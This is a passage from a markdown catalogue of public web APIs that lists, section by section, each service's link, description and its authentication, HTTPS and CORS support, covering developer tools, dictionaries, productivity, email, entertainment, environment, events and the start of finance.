No \| Yes \| Unknown \| \| [Changelogs.md](https://changelogs.md) \| Structured changelog metadata from open source projects \| No \| Yes \| Unknown \| \| [Ciprand](https://github.com/polarspetroll/ciprand) \| Secure random string generator \| No \| Yes \| No \| \| [Cloudflare Trace](https://github.com/fawazahmed0/cloudflare-trace-api) \| Get IP Address, Timestamp, User Agent, Country Code, IATA, HTTP Version, TLS/SSL Version & More \| No \| Yes \| Yes \| \| [Codex](https://github.com/Jaagrav/CodeX) \| Online Compiler for Various Languages \| No \| Yes \| Unknown \| \| [Contentful Images](https://www.contentful.com/developers/docs/references/images-api/) \| Used to retrieve and apply transformations to images \| `apiKey`\| Yes \| Yes \| \| [CORS Proxy](https://github.com/burhanuday/cors-proxy) \| Get around the dreaded CORS error by using this proxy as a middle man \| No \| Yes \| Yes \| \| [Databricks](https://docs.databricks.com/dev-tools/api/latest/index.html) \| Service to manage your databricks account,clusters, notebooks, jobs and workspaces \| `apiKey`\| Yes \| Yes \| \| [DigitalOcean Status](https://status.digitalocean.com/api) \| Status of all DigitalOcean services \| No \| Yes \| Unknown \| \| [Docker Hub](https://docs.docker.com/docker-hub/api/latest/) \| Interact with Docker Hub \| `apiKey`\| Yes \| Yes \| \| [DomainDb Info](https://api.domainsdb.info/) \| Domain name search to find all domains containing particular words/phrases/etc \| No \| Yes \| Unknown \| \| [ExtendsClass JSON Storage](https://extendsclass.com/json-storage.html) \| A simple JSON store API \| No \| Yes \| Yes \| \| [Generate Full Webpage Screenshot](https://apyhub.com/utility/generate-webpage-screenshot) \| Dynamically capture full page screenshots of websites.\| `apiKey` \| Yes \| Yes \| \| [Gcore CDN](https://docs.gcore.com/cdn) \| Make your app fast and responsive for a global audience with Gcore CDN. \| `apiKey` \| Yes \| Yes \| \| [Gcore Cloud](https://docs.gcore.com/cloud) \| Scalable, secure, and reliable hybrid cloud services anywhere in the world. \| `apiKey` \| Yes \| Yes \| \| [Gcore DNS](https://docs.gcore.com/dns) \| Fast and resilient DNS hosting service by Gcore. Improve the performance and availability of your online business. \| `apiKey` \| Yes \| Yes \| \| [GeekFlare](https://apidocs.geekflare.com/docs/geekflare-api) \| Provide numerous capabilities for important testing and monitoring methods for websites \| `apiKey`\| Yes \| Unknown \| \| [Genderize.io](https://genderize.io) \| Estimates a gender from a first name \| No \| Yes \| Yes \| \| [GETPing](https://www.getping.info) \| Trigger an email notification with a simple GET request \| `apiKey`\| Yes \| Unknown \| \| [Ghost](https://ghost.org/) \| Get Published content into your Website, App or other embedded media \| `apiKey`\| Yes \| Yes \| \| [GitHub](https://docs.github.com/en/free-pro-team@latest/rest) \| Make use of GitHub repositories, code and user info programmatically \| `OAuth` \| Yes \| Yes \| \| [Gitlab](https://docs.gitlab.com/ee/api/) \| Automate GitLab interaction programmatically \| `OAuth` \| Yes \| Unknown \| \| [Gitter](https://developer.gitter.im/docs/welcome) \| Chat for Developers \| `OAuth` \| Yes \| Unknown \| \| [Glitterly](https://developers.glitterly.app) \| Image generation API \| `apiKey`\| Yes \| Yes \| \| [Google Docs](https://developers.google.com/docs/api/reference/rest) \| API to read, write, and format Google Docs documents \| `OAuth` \| Yes \| Unknown \| \| [Google Firebase](https://firebase.google.com/docs) \| Google's mobile application development platform that helps build, improve, and grow app \| `apiKey`\| Yes \| Yes \| \| [Google Fonts](https://developers.google.com/fonts/docs/developer_api) \| Metadata for all families served by Google Fonts \| `apiKey`\| Yes \| Unknown \| \| [Google Keep](https://developers.google.com/keep/api/reference/rest) \| API to read, write, and format Google Keep notes \| `OAuth` \| Yes \| Unknown \| \| [Google Sheets](https://developers.google.com/sheets/api/reference/rest) \| API to read, write, and format Google Sheets data \| `OAuth` \| Yes \| Unknown \| \| [Google Slides](https://developers.google.com/slides/api/reference/rest) \| API to read, write, and format Google Slides presentations \| `OAuth` \| Yes \| Unknown \| \| [Gorest](https://gorest.co.in/) \| Online REST API for Testing and Prototyping \| `OAuth` \| Yes \| Unknown \| \| [Hasura](https://hasura.io/opensource/) \| GraphQL and REST API Engine with built in Authorization \| `apiKey`\| Yes \| Yes \| \| [Heroku](https://devcenter.heroku.com/articles/platform-api-reference/) \| REST API to programmatically create apps, provision add-ons and perform other task on Heroku \| `OAuth` \| Yes \| Yes \| \| [Host.io](https://host.io) \| Domains Data API for Developers \| `apiKey`\| Yes \| Yes \| \| [HTTP2.Pro](https://http2.pro/doc/api) \| Test endpoints for client and server HTTP/2 protocol support \| No \| Yes \| Unknown \| \| [Httpbin](https://httpbin.org/) \| A Simple HTTP Request & Response Service \| No \| Yes \| Yes \| \| [Httpbin Cloudflare](https://cloudflare-quic.com/b/) \| A Simple HTTP Request & Response Service with HTTP/3 Support by Cloudflare \| No \| Yes \| Yes \| \| [Hunter](https://hunter.io/api) \| API for domain search, professional email finder, author finder and email verifier \| `apiKey`\| Yes \| Unknown \| \| [IBM Text to Speech](https://cloud.ibm.com/docs/text-to-speech/getting-started.html) \| Convert text to speech \| `apiKey`\| Yes \| Yes \| \| [IFTTT](https://platform.ifttt.com/docs/connect_api) \| IFTTT Connect API \| No \| Yes \| Unknown \| \| [Image-Charts](https://documentation.image-charts.com/) \| Generate charts, QR codes and graph images \| No \| Yes \| Yes \| \| [import.io](http://api.docs.import.io/) \| Retrieve structured data from a website or RSS feed \| `apiKey`\| Yes \| Unknown \| \| [IP2WHOIS Information Lookup](https://www.ip2whois.com/) \| WHOIS domain name lookup \| `apiKey`\| Yes \| Unknown \| \| [ipfind.io](https://ipfind.io) \| Geographic location of an IP address or any domain name along with some other useful information \| `apiKey`\| Yes \| Yes \| \| [IPify](https://www.ipify.org/) \| A simple IP Address API \| No \| Yes \| Unknown \| \| [IPinfo](https://ipinfo.io/developers) \| Another simple IP Address API \| No \| Yes \| Unknown \| \| [jsDelivr](https://github.com/jsdelivr/data.jsdelivr.com) \| Package info and download stats on jsDelivr CDN \| No \| Yes \| Yes \| \| [JSON 2 JSONP](https://json2jsonp.com/) \| Convert JSON to JSONP (on-the-fly) for easy cross-domain data requests using client-side JavaScript \| No \| Yes \| Unknown \| \| [JSONbin.io](https://jsonbin.io) \| Free JSON storage service. Ideal for small scale Web apps, Websites and Mobile apps \| `apiKey`\| Yes \| Yes \| \| [JSONsilo.com](https://jsonsilo.com) \| Hassle-free JSON hosting. Convert your JSON file to an API in minutes at no cost. \| `apiKey` \| Yes \| Yes \| No \| \| [Kroki](https://kroki.io) \| Creates diagrams from textual descriptions \| No \| Yes \| Yes \| \| [License-API](https://github.com/cmccandless/license-api/blob/master/README.md) \| Unofficial REST API for choosealicense.com \| No \| Yes \| No \| \| [Lua Decompiler](https://lua-decompiler.ferib.dev/) \| Online Lua 5.1 Decompiler \| No \| Yes \| Yes \| \| [MAC address vendor lookup](https://macaddress.io/api) \| Retrieve vendor details and other information regarding a given MAC address or an OUI \| `apiKey`\| Yes \| Yes \| \| [Micro DB](https://m3o.com/db) \| Simple database service \| `apiKey`\| Yes \| Unknown \| \| [MicroENV](https://microenv.com/) \| Fake Rest API for developers \| No \| Yes \| Unknown \| \| [Mocky](https://designer.mocky.io/) \| Mock user defined test JSON for REST API endpoints \| No \| Yes \| Yes \| \| [MY IP](https://www.myip.com/api-docs/) \| Get IP address information \| No \| Yes \| Unknown \| \| [Nationalize.io](https://nationalize.io) \| Estimate the nationality of a first name \| No \| Yes \| Yes \| \| [Netlify](https://docs.netlify.com/api/get-started/) \| Netlify is a hosting service for the programmable web \| `OAuth` \| Yes \| Unknown \| \| [NetworkCalc](https://networkcalc.com/api/docs) \| Network calculators, including subnets, DNS, binary, and security tools \| No \| Yes \| Yes \| \| [npm Registry](https://github.com/npm/registry/blob/master/docs/REGISTRY-API.md) \| Query information about your favorite Node.js libraries programmatically \| No \| Yes \| Unknown \| \| [OneSignal](https://documentation.onesignal.com/docs/onesignal-api) \| Self-serve customer engagement solution for Push Notifications, Email, SMS & In-App \| `apiKey`\| Yes \| Unknown \| \| [Open Page Rank](https://www.domcop.com/openpagerank/) \| API for calculating and comparing metrics of different websites using Page Rank algorithm \| `apiKey`\| Yes \| Unknown \| \| [OpenAPIHub](https://hub.openapihub.com/) \| The All-in-one API Platform \| `X-Mashape-Key` \| Yes \| Unknown \| \| [OpenGraphr](https://opengraphr.com/docs/1.0/overview) \| Really simple API to retrieve Open Graph data from an URL \| `apiKey`\| Yes \| Unknown \| \| [oyyi](https://oyyi.xyz/docs/1.0) \| API for Fake Data, image/video conversion, optimization, pdf optimization and thumbnail generation \| No \| Yes \| Yes \| \| [PageCDN](https://pagecdn.com/docs/public-api) \| Public API for javascript, css and font libraries on PageCDN \| `apiKey`\| Yes \| Yes \| \| [Postman](https://www.postman.com/postman/workspace/postman-public-workspace/documentation/12959542-c8142d51-e97c-46b6-bd77-52bb66712c9a) \| Tool for testing APIs \| `apiKey`\| Yes \| Unknown \| \| [ProxyCrawl](https://proxycrawl.com) \| Scraping and crawling anticaptcha service \| `apiKey`\| Yes \| Unknown \| \| [ProxyKingdom](https://proxykingdom.com) \| Rotating Proxy API that produces a working proxy on every request \| `apiKey`\| Yes \| Yes \| \| [Pusher Beams](https://pusher.com/beams) \| Push notifications for Android & iOS \| `apiKey`\| Yes \| Unknown \| \| [Pusher Channels](https://pusher.com/channels) \| Realtime features \| `apiKey`\| Yes \| Unknown \| \| [QR code](https://www.qrtag.net/api/) \| Create an easy to read QR code and URL shortener \| No \| Yes \| Yes \| \| [QR code](http://goqr.me/api/) \| Generate and decode / read QR code graphics \| No \| Yes \| Unknown \| \| [QR code Generator](https://docs.openqr.io/) \| Static and Dynamic QR code generator with custom and unique QR code design \| `apiKey` \| Yes \| Unknown \| \| [Qrcode Monkey](https://www.qrcode-monkey.com/qr-code-api-with-logo/) \| Integrate custom and unique looking QR codes into your system or workflow \| No \| Yes \| Unknown \| \| [QuickChart](https://quickchart.io/) \| Generate chart and graph images \| No \| Yes \| Yes \| \| [Random Stuff](https://api-docs.pgamerx.com/) \| Can be used to get AI Response, jokes, memes, and much more at lightning-fast speed \| `apiKey`\| Yes \| Yes \| \| [Rejax](https://rejax.io/) \| Reverse AJAX service to notify clients \| `apiKey`\| Yes \| No \| \| [ReqRes](https://reqres.in/) \| A hosted REST-API ready to respond to your AJAX requests \| No \| Yes \| Unknown \| \| [RSS feed to JSON](https://rss-to-json-serverless-api.vercel.app) \| Returns RSS feed in JSON format using feed URL \| No \| Yes \| Yes \| \| [RSS to JSON](https://github.com/ayusharma/RSS-to-JSON) \| Returns RSS feed in JSON format using feed URL \| No \| Yes \| Yes \| \| [SavePage.io](https://www.savepage.io) \| A free, RESTful API used to screenshot any desktop, or mobile website \| `apiKey`\| Yes \| Yes \| \| [ScrapeNinja](https://scrapeninja.net) \| Scraping API with Chrome fingerprint and residential proxies \| `apiKey`\| Yes \| Unknown \| \| [ScraperApi](https://www.scraperapi.com) \| Easily build scalable web scrapers \| `apiKey`\| Yes \| Unknown \| \| [scraperBox](https://scraperbox.com/) \| Undetectable web scraping API \| `apiKey`\| Yes \| Yes \| \| [Scrapfly](https://scrapfly.io) \| Scrapfly is an enterprise-grade solution providing Web Scraping API that aims to simplify the scraping process by managing everything: real browser rendering, rotating proxies, and fingerprints (TLS, HTTP, browser) to bypass all major anti-bots. \| `apiKey`\| Yes \| No \| \| [ScrapingAnt](https://scrapingant.com) \| Headless Chrome scraping with a simple API \| `apiKey`\| Yes \| Unknown \| \| [ScrapingDog](https://www.scrapingdog.com/) \| Proxy API for Web scraping \| `apiKey`\| Yes \| Unknown \| \| [ScreenshotAPI.net](https://screenshotapi.net/) \| Create pixel-perfect website screenshots \| `apiKey`\| Yes \| Yes \| \| [Screenshotbase](https://screenshotbase.com/) \| Screenshot API, 1000 free requests per month \| `apiKey`\| Yes \| Yes \| \| [ScreenshotOne.com](https://screenshotone.com/) \| Convert URLs, HTML, or Markdown into PNG, JPEG, WebP, or PDF with a simple screenshot API \| `apiKey`\| Yes \| Yes \| \| [SearchApi](https://www.searchapi.io/) \| Real-Time Google SERP API \| `apiKey` \| Yes \| No \| \| [Serialif Color](https://color.serialif.com/) \| Color conversion, complementary, grayscale and contrasted text \| No \| Yes \| No \| \| [SerpApi](https://serpapi.com/) \| Scrape Google and other search engines \| `apiKey` \| Yes \| No \| \| [SERP Rank Checker](https://apyhub.com/utility/serp-rank) \| Check realtime Google SERP Rank of any keywords. \| `apiKey` \| Yes \| Yes \| \| [Shadify](https://github.com/cheatsnake/shadify) \| Service for generating data and executing logic to create various games and puzzles \| No \| Yes \| Yes \| \| [Sheetsu](https://sheetsu.com/) \| Easy google sheets integration \| `apiKey`\| Yes \| Unknown \| \| [Sonar](https://github.com/Cgboal/SonarSearch) \| Project Sonar DNS Enumeration API \| No \| Yes \| Yes \| \| [SonarQube](https://sonarcloud.io/web_api) \| SonarQube REST APIs to detect bugs, code smells & security vulnerabilities \| `OAuth` \| Yes \| Unknown \| \| [StackExchange](https://api.stackexchange.com/) \| Q&A forum for developers \| `OAuth` \| Yes \| Unknown \| \| [Statically](https://statically.io/) \| A free CDN for developers \| No \| Yes \| Yes \| \| [Supportivekoala](https://developers.supportivekoala.com/) \| Autogenerate images with template \| `apiKey`\| Yes \| Yes \| \| [Svix](https://www.svix.com) \| Webhooks as a Service \| `apiKey` \| Yes \| Unknown \| \| [Tolgee](https://tolgee.io) \| Open-source localization (i18n) platform enabling you to translate you app fast \| `apiKey` \| Yes \| No \| \| [Tyk](https://tyk.io/open-source/) \| Api and service management platform \| `apiKey`\| Yes \| Yes \| \| [YADG](https://yadg.cc/api/v2/) \| An API that scrapes music release data and renders it using different templates \| `apiKey`\| Yes \| Unknown \| \| [Wandbox](https://github.com/melpon/wandbox/blob/master/kennel/API.md) \| Code compiler supporting 35+ languages mentioned at wandbox.org \| No \| Yes \| Unknown \| \| [WebScraping.AI](https://webscraping.ai/) \| Web Scraping API with built-in proxies and JS rendering \| `apiKey`\| Yes \| Yes \| \| [ZenRows](https://www.zenrows.com/) \| Web Scraping API that bypasses anti-bot solutions while offering JS rendering, and rotating proxies \| `apiKey`\| Yes \| Unknown \| [⬆ Back to Index](#index) ### Dictionaries \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Chinese Character Web](http://ccdb.hemiola.com/) \| Chinese character definitions and pronunciations \| No \| No \| No \| \| [Chinese Text Project](https://ctext.org/tools/api) \| Online open-access digital library for pre-modern Chinese texts \| No \| Yes \| Unknown \| \| [Collins](https://api.collinsdictionary.com/api/v1/documentation/html/) \| Bilingual Dictionary and Thesaurus Data \| `apiKey` \| Yes \| Unknown \| \| [Free Dictionary](https://dictionaryapi.dev/) \| Definitions, phonetics, pronounciations, parts of speech, examples, synonyms \| No \| Yes \| Unknown \| \| [Lingua Robot](https://www.linguarobot.io) \| Word definitions, pronunciations, synonyms, antonyms and others \| `apiKey` \| Yes \| Yes \| \| [Merriam-Webster](https://dictionaryapi.com/) \| Dictionary and Thesaurus Data \| `apiKey` \| Yes \| Unknown \| \| [Oxford](https://developer.oxforddictionaries.com/) \| Dictionary Data \| `apiKey` \| Yes \| No \| \| [Synonyms](https://www.synonyms.com/synonyms_api.php) \| Synonyms, thesaurus and antonyms information for any given word \| `apiKey` \| Yes \| Unknown \| \| [Wiktionary](https://en.wiktionary.org/w/api.php) \| Collaborative dictionary data \| No \| Yes \| Yes \| \| [Wordnik](https://developer.wordnik.com) \| Dictionary Data \| `apiKey` \| Yes \| Unknown \| \| [Words](https://www.wordsapi.com/docs/) \| Definitions and synonyms for more than 150,000 words \| `apiKey` \| Yes \| Unknown \| \| [WordsAPI](https://www.wordsapi.com/docs/) \| An API for the English Language. Find definitions, related words, and more \| `apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Documents & Productivity \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Airtable](https://airtable.com/api) \| Integrate with Airtable \| `apiKey` \| Yes \| Unknown \| \| [Api2Convert](https://www.api2convert.com/) \| Online File Conversion API \| `apiKey` \| Yes \| Unknown \| \| [Asana](https://developers.asana.com/docs) \| Programmatic access to all data in your asana system \| `apiKey` \| Yes \| Yes \| \| [ClickUp](https://clickup.com/api) \| ClickUp is a robust, cloud-based project management tool for boosting productivity \| `OAuth`\| Yes \| Unknown \| \| [Clockify](https://clockify.me/developers-api) \| Clockify's REST-based API can be used to push/pull data to/from it & integrate it with other systems \| `apiKey` \| Yes \| Unknown \| \| [CloudConvert](https://cloudconvert.com/api/v2) \| Online file converter for audio, video, document, ebook, archive, image, spreadsheet, presentation \| `apiKey` \| Yes \| Unknown \| \| [Cloudmersive Document and Data Conversion](https://cloudmersive.com/convert-api) \| HTML/URL to PDF/PNG, Office documents to PDF, image conversion \| `apiKey` \| Yes \| Yes \| \| [Code::Stats](https://codestats.net/api-docs) \| Automatic time tracking for programmers \| `apiKey` \| Yes \| No \| \| [Convert Word to PDF](https://apyhub.com/utility/converter-doc-pdf) \| Convert a Word document (doc, docx, or ODF formats) to a PDF document \| `apiKey` \| Yes \| Yes \| \| [Convert RSS to JSON](https://apyhub.com/utility/converter-rss-json) \| Transform raw RSS data into structured JSON \| `apiKey` \| Yes \| Yes \| \| [CraftMyPDF](https://craftmypdf.com) \| Generate PDF documents from templates with a drop-and-drop editor and a simple API \| `apiKey` \| Yes \| No \| \| [FastApi Simple Calculator](https://fastapi-calculadora.onrender.com/) \| Math, Stadistics, Conversions, Currency and more \| No \| Yes \| Unknown \| \| [Flowdash](https://docs.flowdash.com/docs/api-introduction) \| Automate business workflows \| `apiKey` \| Yes \| Unknown \| \| [Html2PDF](https://html2pdf.app/) \| HTML/URL to PDF \| `apiKey` \| Yes \| Unknown \| \| [iLovePDF](https://developer.ilovepdf.com/) \| Convert, merge, split, extract text and add page numbers for PDFs. Free for 250 documents/month \| `apiKey` \| Yes \| Yes \| \| [JIRA](https://developer.atlassian.com/server/jira/platform/rest-apis/) \| JIRA is a proprietary issue tracking product that allows bug tracking and agile project management \| `OAuth`\| Yes \| Unknown \| \| [Mattermost](https://api.mattermost.com/) \| An open source platform for developer collaboration \| `OAuth`\| Yes \| Unknown \| \| [Mercury](https://mercury.postlight.com/web-parser/) \| Web parser \| `apiKey` \| Yes \| Unknown \| \| [Monday](https://api.developer.monday.com/docs) \| Programmatically access and update data inside a monday.com account \| `apiKey` \| Yes \| Unknown \| \| [Notion](https://developers.notion.com/docs/getting-started) \| Integrate with Notion \| `OAuth`\| Yes \| Unknown \| \| [PandaDoc](https://developers.pandadoc.com) \| DocGen and eSignatures API \| `apiKey` \| Yes \| No \| \| [PDFEndpoint](https://pdfendpoint.com) \| HTML and URL to PDF API \| `apiKey` \| Yes \| No \| \| [Pocket](https://getpocket.com/developer/) \| Bookmarking service \| `OAuth`\| Yes \| Unknown \| \| [Podio](https://developers.podio.com) \| File sharing and productivity \| `OAuth`\| Yes \| Unknown \| \| [PrexView](https://prexview.com) \| Data from XML or JSON to PDF, HTML or Image \| `apiKey` \| Yes \| Unknown \| \| [RenderPDF.io](https://renderpdf.io) \| HTML to PDF crazy fast, 500 pdfs/month + CDN-ready \| `apiKey` \| Yes \| Yes \| \| [Restpack](https://restpack.io/) \| Provides screenshot, HTML to PDF and content extraction APIs \| `apiKey` \| Yes \| Unknown \| \| [Todoist](https://developer.todoist.com) \| Todo Lists \| `OAuth`\| Yes \| Unknown \| \| [URL to Markdown](https://github.com/macsplit/urltomarkdown) \| Convert web page to MarkDown \| No \| Yes \| Yes \| \| [Vector Express v2.0](https://vector.express) \| Free vector file converting API \| No \| Yes \| No \| \| [Vertopal](https://www.vertopal.com/en/developer/api/introduction) \| Convert your files to a variety of formats using Vertopal API \| `apiKey` \| Yes \| No \| \| [WakaTime](https://wakatime.com/developers) \| Automated time tracking leaderboards for programmers \| No \| Yes \| Unknown \| \| [WebPDF](https://webpdf.xyz/) \| Work with PDF files via API \| `apiKey`\| Yes \| No \| \| [Zube](https://zube.io/docs/api) \| Full stack project management \| `OAuth`\| Yes \| Unknown \| [⬆ Back to Index](#index) ### Email \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Abstract Email Validation](https://www.abstractapi.com/email-verification-validation-api) \| Validate email addresses for deliverability and spam \| `apiKey` \| Yes \| Yes \| \| [Cloudmersive Validate](https://cloudmersive.com/validate-api) \| Validate email addresses, phone numbers, VAT numbers and domain names \| `apiKey` \| Yes \| Yes \| \| [Disify](https://www.disify.com/) \| Validate and detect disposable and temporary email addresses \| No \| Yes \| Yes \| \| [DropMail](https://dropmail.me/api/#live-demo) \| GraphQL API for creating and managing ephemeral e-mail inboxes \| No \| Yes \| Unknown \| \| [Emailvalidation](https://emailvalidation.io/email-validation-api/) \| E-Mail address validation \| `apiKey` \| Yes \| Yes \| \| [Enveloop](https://enveloop.com) \| Design, host, and send emails and texts. All from one place - with a simple API \| `apiKey` \| Yes \| Yes \| \| [EVA](https://eva.pingutil.com/) \| Validate email addresses \| No \| Yes \| Yes \| \| [Guerrilla Mail](https://www.guerrillamail.com/GuerrillaMailAPI.html) \| Disposable temporary Email addresses \| No \| Yes \| Unknown \| \| [ImprovMX](https://improvmx.com/api) \| API for free email forwarding service \| `apiKey` \| Yes \| Unknown \| \| [Kickbox](https://open.kickbox.com/) \| Email verification API \| No \| Yes \| Yes \| \| [mail.gw](https://docs.mail.gw) \| 10 Minute Mail \| No \| Yes \| Yes \| \| [mail.tm](https://docs.mail.tm) \| Temporary Email Service \| No \| Yes \| Yes \| \| [MailboxValidator](https://www.mailboxvalidator.com/api-email-free) \| Validate email address to improve deliverability \| `apiKey` \| Yes \| Unknown \| \| [MailCheck.ai](https://www.mailcheck.ai/#documentation) \| Prevent users to sign up with temporary email addresses \| No \| Yes \| Unknown \| \| [Mailtrap](https://mailtrap.docs.apiary.io/#) \| A service for the safe testing of emails sent from the development and staging environments \| `apiKey` \| Yes \| Unknown \| \| [Notilify](https://documenter.getpostman.com/view/32462468/2s9YsT6ong) \| A seamless messaging platform & API to send all types of SMS \| `apiKey` \| Yes \| Yes \| \| [Proweblook Email Checker](https://proweblook.com/email-verifier) \| Validate email addresses without sending \| `apiKey` \| Yes \| Yes \| \| [Resend](https://resend.com/docs/) \| Email API for developers \| `apiKey` \| Yes \| Yes \| \| [Sendgrid](https://docs.sendgrid.com/api-reference/) \| A cloud-based SMTP provider that allows you to send emails without having to maintain email servers \| `apiKey` \| Yes \| Unknown \| \| [Sendinblue](https://developers.sendinblue.com/docs) \| A service that provides solutions relating to marketing and/or transactional email and/or SMS \| `apiKey` \| Yes \| Unknown \| \| [Valid Email](https://validemail.io/) \| Verify email addresses for spam and delivery \| `apiKey` \| Yes \| Unknown \| \| [Verifier](https://verifier.meetchopra.com/docs#/) \| Verifies that a given email is real \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Entertainment \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [chucknorris.io](https://api.chucknorris.io) \| JSON API for hand curated Chuck Norris jokes \| No \| Yes \| Unknown \| \| [Corporate Buzz Words](https://github.com/sameerkumar18/corporate-bs-generator-api) \| REST API for Corporate Buzz Words \| No \| Yes \| Yes \| \| [elonmu.sh](https://elonmu.sh/) \| Get random news article featuring Elon Musk \| No \| Yes \| Unknown \| \| [Fuck Off As A Service](https://foaas.dev/) \| FOAAS (Fuck Off As A Service) provides a modern, RESTful, scalable solution to the common problem of telling people to fuck off. \| No \| Yes \| Unknown \| \| [Imgflip](https://imgflip.com/api) \| Gets an array of popular memes \| No \| Yes \| Unknown \| \| [JokeAPI](https://jokeapi.dev/) \| Jokes in multiple formats \| No \| Yes \| Yes \| \| [Keanu Reeves Whoa](https://whoa.onrender.com/) \| JSON API for every "whoa" said by actor Keanu Reeves in his movies \| No \| Yes \| Unknown \| \| [Meme Maker](https://mememaker.github.io/API/) \| REST API for create your own meme \| No \| Yes \| Unknown \| \| [Official Joke](https://official-joke-api.appspot.com/) \| API for random and programming jokes \| No \| Yes \| Unknown \| \| [Puns](https://punapi.rest/) \| Puns and pun based memes. REST API \| No \| Yes \| Yes \| \| [Random Dad Joke](https://icanhazdadjoke.com/) \| API for largest selection of dad jokes on the internet \| No \| Yes \| Unknown \| \| [Random Useless Facts](https://uselessfacts.jsph.pl/) \| Get useless, but true facts \| No \| Yes \| Unknown \| \| [Techy](https://techy-api.vercel.app/) \| JSON and Plaintext API for tech-savvy sounding phrases \| No \| Yes \| Unknown \| \| [Yo Momma Jokes](https://github.com/beanboi7/yomomma-apiv2) \| REST API for Yo Momma Jokes \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Environment \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [BreezoMeter Pollen](https://docs.breezometer.com/api-documentation/pollen-api/v2/) \| Daily Forecast pollen conditions data for a specific location \| `apiKey` \| Yes \| Unknown \| \| [Carbon Interface](https://docs.carboninterface.com/) \| API to calculate carbon (C02) emissions estimates for common C02 emitting activities \| `apiKey` \| Yes \| Yes \| \| [Climatiq](https://docs.climatiq.io) \| Calculate the environmental footprint created by a broad range of emission-generating activities \| `apiKey` \| Yes \| Yes \| \| [Cloverly](https://www.cloverly.com/carbon-offset-documentation) \| API calculates the impact of common carbon-intensive activities in real time \| `apiKey` \| Yes \| Unknown \| \| [CO2 Offset](https://co2offset.io/api.html) \| API calculates and validates the carbon footprint \| No \| Yes \| Unknown \| \| [Danish data service Energi](https://www.energidataservice.dk/) \| Open energy data from Energinet to society \| No \| Yes \| Unknown \| \| [GrünstromIndex](https://gruenstromindex.de/) \| Green Power Index for Germany (Grünstromindex/GSI) \| No \| No \| Yes \| \| [IQAir](https://www.iqair.com/air-pollution-data-api) \| Air quality and weather data \| `apiKey` \| Yes \| Unknown \| \| [Luchtmeetnet](https://api-docs.luchtmeetnet.nl/) \| Predicted and actual air quality components for The Netherlands (RIVM) \| No \| Yes \| Unknown \| \| [National Grid ESO](https://data.nationalgrideso.com/) \| Open data from Great Britain’s Electricity System Operator \| No \| Yes \| Unknown \| \| [OpenAQ](https://docs.openaq.org/) \| Open air quality data \| `apiKey` \| Yes \| Unknown \| \| [PM2.5 Open Data Portal](https://pm25.lass-net.org/#apis) \| Open low-cost PM2.5 sensor data \| No \| Yes \| Unknown \| \| [PM25.in](http://www.pm25.in/api_doc) \| Air quality of China \| `apiKey` \| No \| Unknown \| \| [PVWatts](https://developer.nrel.gov/docs/solar/pvwatts/v6/) \| Energy production photovoltaic (PV) energy systems \| `apiKey` \| Yes \| Unknown \| \| [Srp Energy](https://srpenergy-api-client-python.readthedocs.io/en/latest/api.html) \| Hourly usage energy report for Srp customers \| `apiKey` \| Yes \| No \| \| [Thames Water Open Data](https://data.thameswater.co.uk) \| Open Data from the UK's largest water and wastewater services company \| `apiKey` \| Yes \| Unknown \| \| [UK Carbon Intensity](https://carbon-intensity.github.io/api-definitions/#carbon-intensity-api-v1-0-0) \| The Official Carbon Intensity API for Great Britain developed by National Grid \| No \| Yes \| Unknown \| \| [WattBuy](https://wattbuy.readme.io/reference/getting-started-with-your-api) \| Electricity usage estimations, carbon footprint estimations, and utility data \| `apiKey` \| Yes \| Yes \| \| [Website Carbon](https://api.websitecarbon.com/) \| API to estimate the carbon footprint of loading web pages \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Events \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Eventbrite](https://www.eventbrite.com/platform/api/) \| Find events \| `OAuth`\| Yes \| Unknown \| \| [SeatGeek](https://platform.seatgeek.com/) \| Search events, venues and performers \| `apiKey` \| Yes \| Unknown \| \| [Ticketmaster](http://developer.ticketmaster.com/products-and-docs/apis/getting-started/) \| Search events, attractions, or venues \| `apiKey` \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Finance \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Abstract VAT Validation](https://www.abstractapi.com/vat-validation-rates-api) \| Validate VAT numbers and calculate VAT rates \| `apiKey` \| Yes \| Yes \| \| [Aletheia](https://aletheiaapi.com/) \| Insider trading data, earnings call analysis, financial statements, and more \| `apiKey` \| Yes \| Yes \| \| [Alpaca](https://alpaca.markets/docs/api-documentation/api-v2/market-data/alpaca-data-api-v2/) \| Realtime and historical market data on all US equities and ETFs \| `apiKey` \| Yes \| Yes \| \| [Alpha Vantage](https://www.alphavantage.co/) \| Realtime and historical stock data \| `apiKey` \| Yes \| Unknown \| \| [Atom Finance](https://atom.finance/) \| Atom Finance provides access to market, earnings and news data \| `apiKey` \| Yes \| Yes \| \| [Banco do Brasil](https://developers.bb.com.br/home) \| All Banco do Brasil financial transaction APIs \| `OAuth`\| Yes \| Yes \| \| [Billplz](https://www.billplz.com/api) \| Payment platform \| `apiKey` \| Yes \| Unknown \| \| [Binlist](https://binlist.net/) \| Public access to a database of IIN/BIN information \| No \| Yes \| Unknown \| \| [Boleto.Cloud](https://boleto.cloud/) \| A api to generate boletos in Brazil \| `apiKey` \| Yes \| Unknown \| \| [Citi](https://sandbox.developerhub.citi.com/api-catalog-list) \| All Citigroup account and statement data APIs \| `apiKey` \| Yes \| Unknown \| \| [Econdb](https://www.econdb.com/api/) \| Global macroeconomic data \| No \| Yes \| Yes \| \| [Fed Treasury](https://fiscaldata.treasury.gov/api-documentation/) \| U.S. Department of the Treasury Data \| No \| Yes \| Unknown \| \| [Finage](https://finage.co.uk) \| Finage is a stock, currency, cryptocurrency, indices, and ETFs real-time & historical data provider \| `apiKey` \| Yes \| Unknown \| \| [Financial Modeling Prep](https://site.financialmodelingprep.com/developer/docs) \| Realtime and historical stock data \| `apiKey` \| Yes \| Unknown \| \| [Finnhub](https://finnhub.io/docs/api) \| 